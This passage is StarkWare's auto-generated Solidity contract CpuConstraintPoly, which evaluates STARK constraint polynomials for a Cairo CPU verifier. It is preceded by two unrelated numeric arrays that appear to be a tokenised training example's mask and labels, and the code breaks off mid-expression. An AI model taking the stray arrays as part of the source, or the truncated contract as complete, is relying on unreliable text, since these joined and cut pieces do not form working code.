[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 389, 11171, 15608, 639, 510, 911, 12, 6011, 548, 16, 389, 334, 6388, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2019-2022 StarkWare Industries Ltd. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.starkware.co/open-source-license/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // ---------- The following code was auto-generated. PLEASE DO NOT EDIT. ---------- // SPDX-License-Identifier: Apache-2.0. pragma solidity ^0.6.12; contract CpuConstraintPoly { // The Memory map during the execution of this contract is as follows: // [0x0, 0x20) - periodic_column/pedersen/points/x. // [0x20, 0x40) - periodic_column/pedersen/points/y. // [0x40, 0x60) - periodic_column/ecdsa/generator_points/x. // [0x60, 0x80) - periodic_column/ecdsa/generator_points/y. // [0x80, 0xa0) - trace_length. // [0xa0, 0xc0) - offset_size. // [0xc0, 0xe0) - half_offset_size. // [0xe0, 0x100) - initial_ap. // [0x100, 0x120) - initial_pc. // [0x120, 0x140) - final_ap. // [0x140, 0x160) - final_pc. // [0x160, 0x180) - memory/multi_column_perm/perm/interaction_elm. // [0x180, 0x1a0) - memory/multi_column_perm/hash_interaction_elm0. // [0x1a0, 0x1c0) - memory/multi_column_perm/perm/public_memory_prod. // [0x1c0, 0x1e0) - rc16/perm/interaction_elm. // [0x1e0, 0x200) - rc16/perm/public_memory_prod. // [0x200, 0x220) - rc_min. // [0x220, 0x240) - rc_max. // [0x240, 0x260) - pedersen/shift_point.x. // [0x260, 0x280) - pedersen/shift_point.y. // [0x280, 0x2a0) - initial_pedersen_addr. // [0x2a0, 0x2c0) - initial_rc_addr. // [0x2c0, 0x2e0) - ecdsa/sig_config.alpha. // [0x2e0, 0x300) - ecdsa/sig_config.shift_point.x. // [0x300, 0x320) - ecdsa/sig_config.shift_point.y. // [0x320, 0x340) - ecdsa/sig_config.beta. // [0x340, 0x360) - initial_ecdsa_addr. // [0x360, 0x380) - trace_generator. // [0x380, 0x3a0) - oods_point. // [0x3a0, 0x400) - interaction_elements. // [0x400, 0x1a60) - coefficients. // [0x1a60, 0x3380) - oods_values. // ----------------------- end of input data - ------------------------- // [0x3380, 0x33a0) - intermediate_value/cpu/decode/opcode_rc/bit_0. // [0x33a0, 0x33c0) - intermediate_value/cpu/decode/opcode_rc/bit_2. // [0x33c0, 0x33e0) - intermediate_value/cpu/decode/opcode_rc/bit_4. // [0x33e0, 0x3400) - intermediate_value/cpu/decode/opcode_rc/bit_3. // [0x3400, 0x3420) - intermediate_value/cpu/decode/flag_op1_base_op0_0. // [0x3420, 0x3440) - intermediate_value/cpu/decode/opcode_rc/bit_5. // [0x3440, 0x3460) - intermediate_value/cpu/decode/opcode_rc/bit_6. // [0x3460, 0x3480) - intermediate_value/cpu/decode/opcode_rc/bit_9. // [0x3480, 0x34a0) - intermediate_value/cpu/decode/flag_res_op1_0. // [0x34a0, 0x34c0) - intermediate_value/cpu/decode/opcode_rc/bit_7. // [0x34c0, 0x34e0) - intermediate_value/cpu/decode/opcode_rc/bit_8. // [0x34e0, 0x3500) - intermediate_value/cpu/decode/flag_pc_update_regular_0. // [0x3500, 0x3520) - intermediate_value/cpu/decode/opcode_rc/bit_12. // [0x3520, 0x3540) - intermediate_value/cpu/decode/opcode_rc/bit_13. // [0x3540, 0x3560) - intermediate_value/cpu/decode/fp_update_regular_0. // [0x3560, 0x3580) - intermediate_value/cpu/decode/opcode_rc/bit_1. // [0x3580, 0x35a0) - intermediate_value/npc_reg_0. // [0x35a0, 0x35c0) - intermediate_value/cpu/decode/opcode_rc/bit_10. // [0x35c0, 0x35e0) - intermediate_value/cpu/decode/opcode_rc/bit_11. // [0x35e0, 0x3600) - intermediate_value/cpu/decode/opcode_rc/bit_14. // [0x3600, 0x3620) - intermediate_value/memory/address_diff_0. // [0x3620, 0x3640) - intermediate_value/rc16/diff_0. // [0x3640, 0x3660) - intermediate_value/pedersen/hash0/ec_subset_sum/bit_0. // [0x3660, 0x3680) - intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0. // [0x3680, 0x36a0) - intermediate_value/pedersen/hash1/ec_subset_sum/bit_0. // [0x36a0, 0x36c0) - intermediate_value/pedersen/hash1/ec_subset_sum/bit_neg_0. // [0x36c0, 0x36e0) - intermediate_value/pedersen/hash2/ec_subset_sum/bit_0. // [0x36e0, 0x3700) - intermediate_value/pedersen/hash2/ec_subset_sum/bit_neg_0. // [0x3700, 0x3720) - intermediate_value/pedersen/hash3/ec_subset_sum/bit_0. // [0x3720, 0x3740) - intermediate_value/pedersen/hash3/ec_subset_sum/bit_neg_0. // [0x3740, 0x3760) - intermediate_value/rc_builtin/value0_0. // [0x3760, 0x3780) - intermediate_value/rc_builtin/value1_0. // [0x3780, 0x37a0) - intermediate_value/rc_builtin/value2_0. // [0x37a0, 0x37c0) - intermediate_value/rc_builtin/value3_0. // [0x37c0, 0x37e0) - intermediate_value/rc_builtin/value4_0. // [0x37e0, 0x3800) - intermediate_value/rc_builtin/value5_0. // [0x3800, 0x3820) - intermediate_value/rc_builtin/value6_0. // [0x3820, 0x3840) - intermediate_value/rc_builtin/value7_0. // [0x3840, 0x3860) - intermediate_value/ecdsa/signature0/doubling_key/x_squared. // [0x3860, 0x3880) - intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0. // [0x3880, 0x38a0) - intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0. // [0x38a0, 0x38c0) - intermediate_value/ecdsa/signature0/exponentiate_key/bit_0. // [0x38c0, 0x38e0) - intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0. // [0x38e0, 0x3b60) - expmods. // [0x3b60, 0x3e00) - denominator_invs. // [0x3e00, 0x40a0) - denominators. // [0x40a0, 0x41e0) - numerators. // [0x41e0, 0x42a0) - expmod_context. fallback() external { uint256 res; assembly { let PRIME := 0x800000000000011000000000000000000000000000000000000000000000001 // Copy input from calldata to memory. calldatacopy(0x0, 0x0, /*Input data size*/ 0x3380) let point := /*oods_point*/ mload(0x380) function expmod(base, exponent, modulus) -> result { let p := /*expmod_context*/ 0x41e0 mstore(p, 0x20) // Length of Base. mstore(add(p, 0x20), 0x20) // Length of Exponent. mstore(add(p, 0x40), 0x20) // Length of Modulus. mstore(add(p, 0x60), base) // Base. mstore(add(p, 0x80), exponent) // Exponent. mstore(add(p, 0xa0), modulus) // Modulus. // Call modexp precompile. if iszero(staticcall(not(0), 0x05, p, 0xc0, p, 0x20)) { revert(0, 0) } result := mload(p) } { // Prepare expmods for denominators and numerators. // expmods[0] = point^trace_length. mstore(0x38e0, expmod(point, /*trace_length*/ mload(0x80), PRIME)) // expmods[1] = point^(trace_length / 16). mstore(0x3900, expmod(point, div(/*trace_length*/ mload(0x80), 16), PRIME)) // expmods[2] = point^(trace_length / 2). mstore(0x3920, expmod(point, div(/*trace_length*/ mload(0x80), 2), PRIME)) // expmods[3] = point^(trace_length / 8). mstore(0x3940, expmod(point, div(/*trace_length*/ mload(0x80), 8), PRIME)) // expmods[4] = point^(trace_length / 256). mstore(0x3960, expmod(point, div(/*trace_length*/ mload(0x80), 256), PRIME)) // expmods[5] = point^(trace_length / 512). mstore(0x3980, expmod(point, div(/*trace_length*/ mload(0x80), 512), PRIME)) // expmods[6] = point^(trace_length / 128). mstore(0x39a0, expmod(point, div(/*trace_length*/ mload(0x80), 128), PRIME)) // expmods[7] = point^(trace_length / 4096). mstore(0x39c0, expmod(point, div(/*trace_length*/ mload(0x80), 4096), PRIME)) // expmods[8] = point^(trace_length / 32). mstore(0x39e0, expmod(point, div(/*trace_length*/ mload(0x80), 32), PRIME)) // expmods[9] = point^(trace_length / 8192). mstore(0x3a00, expmod(point, div(/*trace_length*/ mload(0x80), 8192), PRIME)) // expmods[10] = trace_generator^(15 * trace_length / 16). mstore(0x3a20, expmod(/*trace_generator*/ mload(0x360), div(mul(15, /*trace_length*/ mload(0x80)), 16), PRIME)) // expmods[11] = trace_generator^(16 * (trace_length / 16 - 1)). mstore(0x3a40, expmod(/*trace_generator*/ mload(0x360), mul(16, sub(div(/*trace_length*/ mload(0x80), 16), 1)), PRIME)) // expmods[12] = trace_generator^(2 * (trace_length / 2 - 1)). mstore(0x3a60, expmod(/*trace_generator*/ mload(0x360), mul(2, sub(div(/*trace_length*/ mload(0x80), 2), 1)), PRIME)) // expmods[13] = trace_generator^(trace_length - 1). mstore(0x3a80, expmod(/*trace_generator*/ mload(0x360), sub(/*trace_length*/ mload(0x80), 1), PRIME)) // expmods[14] = trace_generator^(255 * trace_length / 256). mstore(0x3aa0, expmod(/*trace_generator*/ mload(0x360), div(mul(255, /*trace_length*/ mload(0x80)), 256), PRIME)) // expmods[15] = trace_generator^(63 * trace_length / 64). mstore(0x3ac0, expmod(/*trace_generator*/ mload(0x360), div(mul(63, /*trace_length*/ mload(0x80)), 64), PRIME)) // expmods[16] = trace_generator^(trace_length / 2). mstore(0x3ae0, expmod(/*trace_generator*/ mload(0x360), div(/*trace_length*/ mload(0x80), 2), PRIME)) // expmods[17] = trace_generator^(128 * (trace_length / 128 - 1)). mstore(0x3b00, expmod(/*trace_generator*/ mload(0x360), mul(128, sub(div(/*trace_length*/ mload(0x80), 128), 1)), PRIME)) // expmods[18] = trace_generator^(251 * trace_length / 256). mstore(0x3b20, expmod(/*trace_generator*/ mload(0x360), div(mul(251, /*trace_length*/ mload(0x80)), 256), PRIME)) // expmods[19] = trace_generator^(8192 * (trace_length / 8192 - 1)). mstore(0x3b40, expmod(/*trace_generator*/ mload(0x360), mul(8192, sub(div(/*trace_length*/ mload(0x80), 8192), 1)), PRIME)) } { // Prepare denominators for batch inverse. // Denominator for constraints: 'cpu/decode/opcode_rc/bit', 'rc16/perm/step0', 'rc16/diff_is_bit', 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y', 'pedersen/hash1/ec_subset_sum/booleanity_test', 'pedersen/hash1/ec_subset_sum/add_points/slope', 'pedersen/hash1/ec_subset_sum/add_points/x', 'pedersen/hash1/ec_subset_sum/add_points/y', 'pedersen/hash1/ec_subset_sum/copy_point/x', 'pedersen/hash1/ec_subset_sum/copy_point/y', 'pedersen/hash2/ec_subset_sum/booleanity_test', 'pedersen/hash2/ec_subset_sum/add_points/slope', 'pedersen/hash2/ec_subset_sum/add_points/x', 'pedersen/hash2/ec_subset_sum/add_points/y', 'pedersen/hash2/ec_subset_sum/copy_point/x', 'pedersen/hash2/ec_subset_sum/copy_point/y', 'pedersen/hash3/ec_subset_sum/booleanity_test', 'pedersen/hash3/ec_subset_sum/add_points/slope', 'pedersen/hash3/ec_subset_sum/add_points/x', 'pedersen/hash3/ec_subset_sum/add_points/y', 'pedersen/hash3/ec_subset_sum/copy_point/x', 'pedersen/hash3/ec_subset_sum/copy_point/y'. // denominators[0] = point^trace_length - 1. mstore(0x3e00, addmod(/*point^trace_length*/ mload(0x38e0), sub(PRIME, 1), PRIME)) // Denominator for constraints: 'cpu/decode/opcode_rc/zero'. // denominators[1] = point^(trace_length / 16) - trace_generator^(15 * trace_length / 16). mstore(0x3e20, addmod( /*point^(trace_length / 16)*/ mload(0x3900), sub(PRIME, /*trace_generator^(15 * trace_length / 16)*/ mload(0x3a20)), PRIME)) // Denominator for constraints: 'cpu/decode/opcode_rc_input', 'cpu/decode/flag_op1_base_op0_bit', 'cpu/decode/flag_res_op1_bit', 'cpu/decode/flag_pc_update_regular_bit', 'cpu/decode/fp_update_regular_bit', 'cpu/operands/mem_dst_addr', 'cpu/operands/mem0_addr', 'cpu/operands/mem1_addr', 'cpu/operands/ops_mul', 'cpu/operands/res', 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update', 'cpu/opcodes/call/push_fp', 'cpu/opcodes/call/push_pc', 'cpu/opcodes/call/off0', 'cpu/opcodes/call/off1', 'cpu/opcodes/call/flags', 'cpu/opcodes/ret/off0', 'cpu/opcodes/ret/off2', 'cpu/opcodes/ret/flags', 'cpu/opcodes/assert_eq/assert_eq', 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y'. // denominators[2] = point^(trace_length / 16) - 1. mstore(0x3e40, addmod(/*point^(trace_length / 16)*/ mload(0x3900), sub(PRIME, 1), PRIME)) // Denominator for constraints: 'initial_ap', 'initial_fp', 'initial_pc', 'memory/multi_column_perm/perm/init0', 'memory/initial_addr', 'rc16/perm/init0', 'rc16/minimum', 'pedersen/init_addr', 'rc_builtin/init_addr', 'ecdsa/init_addr'. // denominators[3] = point - 1. mstore(0x3e60, addmod(point, sub(PRIME, 1), PRIME)) // Denominator for constraints: 'final_ap', 'final_fp', 'final_pc'. // denominators[4] = point - trace_generator^(16 * (trace_length / 16 - 1)). mstore(0x3e80, addmod( point, sub(PRIME, /*trace_generator^(16 * (trace_length / 16 - 1))*/ mload(0x3a40)), PRIME)) // Denominator for constraints: 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'. // denominators[5] = point^(trace_length / 2) - 1. mstore(0x3ea0, addmod(/*point^(trace_length / 2)*/ mload(0x3920), sub(PRIME, 1), PRIME)) // Denominator for constraints: 'memory/multi_column_perm/perm/last'. // denominators[6] = point - trace_generator^(2 * (trace_length / 2 - 1)). mstore(0x3ec0, addmod( point, sub(PRIME, /*trace_generator^(2 * (trace_length / 2 - 1))*/ mload(0x3a60)), PRIME)) // Denominator for constraints: 'public_memory_addr_zero', 'public_memory_value_zero'. // denominators[7] = point^(trace_length / 8) - 1. mstore(0x3ee0, addmod(/*point^(trace_length / 8)*/ mload(0x3940), sub(PRIME, 1), PRIME)) // Denominator for constraints: 'rc16/perm/last', 'rc16/maximum'. // denominators[8] = point - trace_generator^(trace_length - 1). mstore(0x3f00, addmod(point, sub(PRIME, /*trace_generator^(trace_length - 1)*/ mload(0x3a80)), PRIME)) // Denominator for constraints: 'pedersen/hash0/ec_subset_sum/bit_unpacking/last_one_is_zero', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones0', 'pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit192', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones192', 'pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit196', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones196', 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y', 'pedersen/hash1/ec_subset_sum/bit_unpacking/last_one_is_zero', 'pedersen/hash1/ec_subset_sum/bit_unpacking/zeroes_between_ones0', 'pedersen/hash1/ec_subset_sum/bit_unpacking/cumulative_bit192', 'pedersen/hash1/ec_subset_sum/bit_unpacking/zeroes_between_ones192', 'pedersen/hash1/ec_subset_sum/bit_unpacking/cumulative_bit196', 'pedersen/hash1/ec_subset_sum/bit_unpacking/zeroes_between_ones196', 'pedersen/hash1/copy_point/x', 'pedersen/hash1/copy_point/y', 'pedersen/hash2/ec_subset_sum/bit_unpacking/last_one_is_zero', 'pedersen/hash2/ec_subset_sum/bit_unpacking/zeroes_between_ones0', 'pedersen/hash2/ec_subset_sum/bit_unpacking/cumulative_bit192', 'pedersen/hash2/ec_subset_sum/bit_unpacking/zeroes_between_ones192', 'pedersen/hash2/ec_subset_sum/bit_unpacking/cumulative_bit196', 'pedersen/hash2/ec_subset_sum/bit_unpacking/zeroes_between_ones196', 'pedersen/hash2/copy_point/x', 'pedersen/hash2/copy_point/y', 'pedersen/hash3/ec_subset_sum/bit_unpacking/last_one_is_zero', 'pedersen/hash3/ec_subset_sum/bit_unpacking/zeroes_between_ones0', 'pedersen/hash3/ec_subset_sum/bit_unpacking/cumulative_bit192', 'pedersen/hash3/ec_subset_sum/bit_unpacking/zeroes_between_ones192', 'pedersen/hash3/ec_subset_sum/bit_unpacking/cumulative_bit196', 'pedersen/hash3/ec_subset_sum/bit_unpacking/zeroes_between_ones196', 'pedersen/hash3/copy_point/x', 'pedersen/hash3/copy_point/y'. // denominators[9] = point^(trace_length / 256) - 1. mstore(0x3f20, addmod(/*point^(trace_length / 256)*/ mload(0x3960), sub(PRIME, 1), PRIME)) // Denominator for constraints: 'pedersen/hash0/ec_subset_sum/bit_extraction_end', 'pedersen/hash1/ec_subset_sum/bit_extraction_end', 'pedersen/hash2/ec_subset_sum/bit_extraction_end', 'pedersen/hash3/ec_subset_sum/bit_extraction_end'. // denominators[10] = point^(trace_length / 256) - trace_generator^(63 * trace_length / 64). mstore(0x3f40, addmod( /*point^(trace_length / 256)*/ mload(0x3960), sub(PRIME, /*trace_generator^(63 * trace_length / 64)*/ mload(0x3ac0)), PRIME)) // Denominator for constraints: 'pedersen/hash0/ec_subset_sum/zeros_tail', 'pedersen/hash1/ec_subset_sum/zeros_tail', 'pedersen/hash2/ec_subset_sum/zeros_tail', 'pedersen/hash3/ec_subset_sum/zeros_tail'. // denominators[11] = point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). mstore(0x3f60, addmod( /*point^(trace_length / 256)*/ mload(0x3960), sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x3aa0)), PRIME)) // Denominator for constraints: 'pedersen/hash0/init/x', 'pedersen/hash0/init/y', 'pedersen/hash1/init/x', 'pedersen/hash1/init/y', 'pedersen/hash2/init/x', 'pedersen/hash2/init/y', 'pedersen/hash3/init/x', 'pedersen/hash3/init/y', 'pedersen/input0_value0', 'pedersen/input0_value1', 'pedersen/input0_value2', 'pedersen/input0_value3', 'pedersen/input1_value0', 'pedersen/input1_value1', 'pedersen/input1_value2', 'pedersen/input1_value3', 'pedersen/output_value0', 'pedersen/output_value1', 'pedersen/output_value2', 'pedersen/output_value3'. // denominators[12] = point^(trace_length / 512) - 1. mstore(0x3f80, addmod(/*point^(trace_length / 512)*/ mload(0x3980), sub(PRIME, 1), PRIME)) // Denominator for constraints: 'pedersen/input0_addr', 'pedersen/input1_addr', 'pedersen/output_addr', 'rc_builtin/value', 'rc_builtin/addr_step'. // denominators[13] = point^(trace_length / 128) - 1. mstore(0x3fa0, addmod(/*point^(trace_length / 128)*/ mload(0x39a0), sub(PRIME, 1), PRIME)) // Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'. // denominators[14] = point^(trace_length / 32) - 1. mstore(0x3fc0, addmod(/*point^(trace_length / 32)*/ mload(0x39e0), sub(PRIME, 1), PRIME)) // Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/bit_extraction_end'. // denominators[15] = point^(trace_length / 8192) - trace_generator^(251 * trace_length / 256). mstore(0x3fe0, addmod( /*point^(trace_length / 8192)*/ mload(0x3a00), sub(PRIME, /*trace_generator^(251 * trace_length / 256)*/ mload(0x3b20)), PRIME)) // Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/zeros_tail'. // denominators[16] = point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). mstore(0x4000, addmod( /*point^(trace_length / 8192)*/ mload(0x3a00), sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x3aa0)), PRIME)) // Denominator for constraints: 'ecdsa/signature0/exponentiate_key/bit_extraction_end'. // denominators[17] = point^(trace_length / 4096) - trace_generator^(251 * trace_length / 256). mstore(0x4020, addmod( /*point^(trace_length / 4096)*/ mload(0x39c0), sub(PRIME, /*trace_generator^(251 * trace_length / 256)*/ mload(0x3b20)), PRIME)) // Denominator for constraints: 'ecdsa/signature0/exponentiate_key/zeros_tail'. // denominators[18] = point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). mstore(0x4040, addmod( /*point^(trace_length / 4096)*/ mload(0x39c0), sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x3aa0)), PRIME)) // Denominator for constraints: 'ecdsa/signature0/init_gen/x', 'ecdsa/signature0/init_gen/y', 'ecdsa/signature0/add_results/slope', 'ecdsa/signature0/add_results/x', 'ecdsa/signature0/add_results/y', 'ecdsa/signature0/add_results/x_diff_inv', 'ecdsa/signature0/extract_r/slope', 'ecdsa/signature0/extract_r/x', 'ecdsa/signature0/extract_r/x_diff_inv', 'ecdsa/signature0/z_nonzero', 'ecdsa/signature0/q_on_curve/x_squared', 'ecdsa/signature0/q_on_curve/on_curve', 'ecdsa/message_addr', 'ecdsa/pubkey_addr', 'ecdsa/message_value0', 'ecdsa/pubkey_value0'. // denominators[19] = point^(trace_length / 8192) - 1. mstore(0x4060, addmod(/*point^(trace_length / 8192)*/ mload(0x3a00), sub(PRIME, 1), PRIME)) // Denominator for constraints: 'ecdsa/signature0/init_key/x', 'ecdsa/signature0/init_key/y', 'ecdsa/signature0/r_and_w_nonzero'. // denominators[20] = point^(trace_length / 4096) - 1. mstore(0x4080, addmod(/*point^(trace_length / 4096)*/ mload(0x39c0), sub(PRIME, 1), PRIME)) } { // Compute the inverses of the denominators into denominatorInvs using batch inverse. // Start by computing the cumulative product. // Let (d_0, d_1, d_2, ..., d_{n-1}) be the values in denominators. After this loop // denominatorInvs will be (1, d_0, d_0 * d_1, ...) and prod will contain the value of // d_0 * ... * d_{n-1}. // Compute the offset between the partialProducts array and the input values array. let productsToValuesOffset := 0x2a0 let prod := 1 let partialProductEndPtr := 0x3e00 for { let partialProductPtr := 0x3b60 } lt(partialProductPtr, partialProductEndPtr) { partialProductPtr := add(partialProductPtr, 0x20) } { mstore(partialProductPtr, prod) // prod *= d_{i}. prod := mulmod(prod, mload(add(partialProductPtr, productsToValuesOffset)), PRIME) } let firstPartialProductPtr := 0x3b60 // Compute the inverse of the product. let prodInv := expmod(prod, sub(PRIME, 2), PRIME) if eq(prodInv, 0) { // Solidity generates reverts with reason that look as follows: // 1. 4 bytes with the constant 0x08c379a0 (== Keccak256(b'Error(string)')[:4]). // 2. 32 bytes offset bytes (always 0x20 as far as i can tell). // 3. 32 bytes with the length of the revert reason. // 4. Revert reason string. mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000) mstore(0x4, 0x20) mstore(0x24, 0x1e) mstore(0x44, "Batch inverse product is zero.") revert(0, 0x62) } // Compute the inverses. // Loop over denominator_invs in reverse order. // currentPartialProductPtr is initialized to one past the end. let currentPartialProductPtr := 0x3e00 for { } gt(currentPartialProductPtr, firstPartialProductPtr) { } { currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) // Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}). mstore(currentPartialProductPtr, mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) // Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i. prodInv := mulmod(prodInv, mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) } } { // Compute numerators. // Numerator for constraints 'cpu/decode/opcode_rc/bit'. // numerators[0] = point^(trace_length / 16) - trace_generator^(15 * trace_length / 16). mstore(0x40a0, addmod( /*point^(trace_length / 16)*/ mload(0x3900), sub(PRIME, /*trace_generator^(15 * trace_length / 16)*/ mload(0x3a20)), PRIME)) // Numerator for constraints 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update'. // numerators[1] = point - trace_generator^(16 * (trace_length / 16 - 1)). mstore(0x40c0, addmod( point, sub(PRIME, /*trace_generator^(16 * (trace_length / 16 - 1))*/ mload(0x3a40)), PRIME)) // Numerator for constraints 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'. // numerators[2] = point - trace_generator^(2 * (trace_length / 2 - 1)). mstore(0x40e0, addmod( point, sub(PRIME, /*trace_generator^(2 * (trace_length / 2 - 1))*/ mload(0x3a60)), PRIME)) // Numerator for constraints 'rc16/perm/step0', 'rc16/diff_is_bit'. // numerators[3] = point - trace_generator^(trace_length - 1). mstore(0x4100, addmod(point, sub(PRIME, /*trace_generator^(trace_length - 1)*/ mload(0x3a80)), PRIME)) // Numerator for constraints 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y', 'pedersen/hash1/ec_subset_sum/booleanity_test', 'pedersen/hash1/ec_subset_sum/add_points/slope', 'pedersen/hash1/ec_subset_sum/add_points/x', 'pedersen/hash1/ec_subset_sum/add_points/y', 'pedersen/hash1/ec_subset_sum/copy_point/x', 'pedersen/hash1/ec_subset_sum/copy_point/y', 'pedersen/hash2/ec_subset_sum/booleanity_test', 'pedersen/hash2/ec_subset_sum/add_points/slope', 'pedersen/hash2/ec_subset_sum/add_points/x', 'pedersen/hash2/ec_subset_sum/add_points/y', 'pedersen/hash2/ec_subset_sum/copy_point/x', 'pedersen/hash2/ec_subset_sum/copy_point/y', 'pedersen/hash3/ec_subset_sum/booleanity_test', 'pedersen/hash3/ec_subset_sum/add_points/slope', 'pedersen/hash3/ec_subset_sum/add_points/x', 'pedersen/hash3/ec_subset_sum/add_points/y', 'pedersen/hash3/ec_subset_sum/copy_point/x', 'pedersen/hash3/ec_subset_sum/copy_point/y'. // numerators[4] = point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). mstore(0x4120, addmod( /*point^(trace_length / 256)*/ mload(0x3960), sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x3aa0)), PRIME)) // Numerator for constraints 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y', 'pedersen/hash1/copy_point/x', 'pedersen/hash1/copy_point/y', 'pedersen/hash2/copy_point/x', 'pedersen/hash2/copy_point/y', 'pedersen/hash3/copy_point/x', 'pedersen/hash3/copy_point/y'. // numerators[5] = point^(trace_length / 512) - trace_generator^(trace_length / 2). mstore(0x4140, addmod( /*point^(trace_length / 512)*/ mload(0x3980), sub(PRIME, /*trace_generator^(trace_length / 2)*/ mload(0x3ae0)), PRIME)) // Numerator for constraints 'pedersen/input0_addr', 'rc_builtin/addr_step'. // numerators[6] = point - 